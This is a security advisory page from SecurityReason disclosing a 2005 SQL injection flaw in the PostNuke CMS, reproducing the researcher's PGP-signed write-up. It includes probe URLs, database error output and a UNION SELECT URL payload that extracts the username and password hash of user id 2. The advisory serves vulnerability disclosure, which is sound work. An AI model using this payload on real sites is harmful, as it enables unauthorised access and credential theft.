Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityReason Advisory

  Topic : PostNuke Critical SQL Injection
  SecurityAlert : 2
  SecurityRisk : Medium  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Exploit Given : Yes
  Credit : Maksymilian Arciemowicz
  Date : 04.09.2005

  Affected Software : PostNuke 0.760-RC2=>x

  Advisory Text :  

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[PostNuke Critical SQL Injection 0.760-RC2=>x cXIb8O3.1]

Author: cXIb8O3(Maksymilian Arciemowicz)
Date: 15.2.2005
from securityreason.com TEAM

- --- 0.Description ---

PostNuke: The Phoenix Release (0.760-RC2=>x)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system.
PostNuke
is still undergoing development but a large number of core functions are
now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage
at http://noc.postnuke.com/
You can also visit us on our IRC Server irc.postnuke.com channel
#postnuke-support
#postnuke-chat
#postnuke
Or at the Community Forums located at:
http://forums.postnuke.com/


- --- 1. Critical SQL INJECTION ---
This SQL INJECTION is in modules/News/funcs.php in function getArticles().
When this function
is active(Other Stories), we can add sql querty in varible catid.

For exemple:

http://[HOST]/[DIR]/index.php?catid='cXIb8O3

Error message :
- ---------------
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check
the manual that
corresponds to your MySQL server version for the right syntax to use near
''cXIb8O3 ORDER BY
pn_stories.pn_time DESC LIMIT 10,10' at line 23
- ---------------

http://[HOST]/[DIR]/modules.php?op=modload&name=News&file=article&sid=1&cat
id='cXIb8O3

Error message :
- ---------------
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check
the manual that
corresponds to your MySQL server version for the right syntax to use near
''cXIb8O3 ORDER BY
pn_stories.pn_time DESC LIMIT 10,10' at line 23
- ---------------

http://[HOST]/[DIR]/admin.php?module=NS-AddStory&op=EditCategory&catid='cXI
b8O3

Error message :
- ---------------
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check
the manual that
corresponds to your MySQL server version for the right syntax to use near
''cXIb8O3 ORDER BY
pn_stories.pn_time DESC LIMIT 10,10' at line 23
- ---------------

etc.

and varible $query is:

- ---------------
SELECT pn__stories.pn_aid AS "aid", pn__stories.pn_bodytext AS "bodytext",
pn__stories_cat.pn_themeoverride AS "catthemeoverride",
pn__stories.pn_catid AS "cid",
pn__stories_cat.pn_title AS "cattitle", pn__stories.pn_comments AS
"comments",
pn__stories.pn_counter AS "counter", pn__stories.pn_hometext AS "hometext",
pn__stories.pn_informant AS "informant", pn__stories.pn_notes AS "notes",
pn__stories.pn_sid AS
"sid", pn__stories.pn_themeoverride AS "themeoverride",
pn__topics.pn_topicid AS "tid",
pn__stories.pn_time AS "time", pn__stories.pn_title AS "title",
pn__topics.pn_topicname AS
"topicname", pn__topics.pn_topicimage AS "topicimage",
pn__topics.pn_topictext AS "topictext",
pn__topics.pn_counter AS "tcounter", pn__stories.pn_time AS "unixtime",
pn__stories.pn_withcomm
AS "withcomm" FROM pn__stories LEFT JOIN pn__stories_cat ON
pn__stories.pn_catid =
pn__stories_cat.pn_catid LEFT JOIN pn__topics ON pn__stories.pn_topic =
pn__topics.pn_topicid
WHERE (pn__stories.pn_language
='eng' OR pn__stories.pn_language='') AND pn__stories.pn_catid='cXIb8O3
ORDER BY
pn__stories.pn_time DESC
- ---------------

Exploit:
This exploit get password from user with id=2. But frist check prefix.

Step 1.
http://[HOST]/[DIR]/index.php?catid='cXIb8O3

Error message :
- ---------------
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check
the manual that
corresponds to your MySQL server version for the right syntax to use near
''cXIb8O3 ORDER BY
pn_stories.pn_time DESC LIMIT 10,10' at line 23
- ---------------

and pn_ is that prefix.

Step 2.
http://[HOST]/[DIR]/modules.php?op=modload&name=NS-Polls&file=index&req=res
ults&pollID=2&mode=thread&order=0&thold=0&catid=-99999%20UNION%20SELECT%20p
n_uname,pn_uname,pn_uname,pn_uname,pn_uname,null,null,null,pn_uname,pn_unam
e,pn_uname,pn_uname,pn_uname,null,pn_pass,null,null,null,null,null,null%20F
ROM%20[$PREFIX]users%20WHERE%20pn_uid=2/*

- --- 2. How to fix ---

Download the new version of the script or update.

- --- 3. Greets ---

Only for sp3x..

- --- 4.Contact ---
Author: Maksymilian Arciemowicz
Location: Poland(Jelenia Gora), Luxembourg(Bereldange)
Email: max [at] jestsuper [dot] pl
GPG-KEY: http://security.jestsuper.pl
SECURITYREASON.COM TEAM

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (FreeBSD)

iD8DBQFCI3q4znmvyJCR4zQRAgiQAJ4w/H6sa4jeEgQttYjERpWoIfbscQCglFe4
/6PJBa0Rgiz5/SnDGnGsjZY=
=tr+q
-----END PGP SIGNATURE-----

Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

» Apache-SSL memory
   disclosure

PHP rss

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

» PHP 5.2.5 cURL safe_mode
   bypass

Copyright © SecurityReason. All Rights Reserved.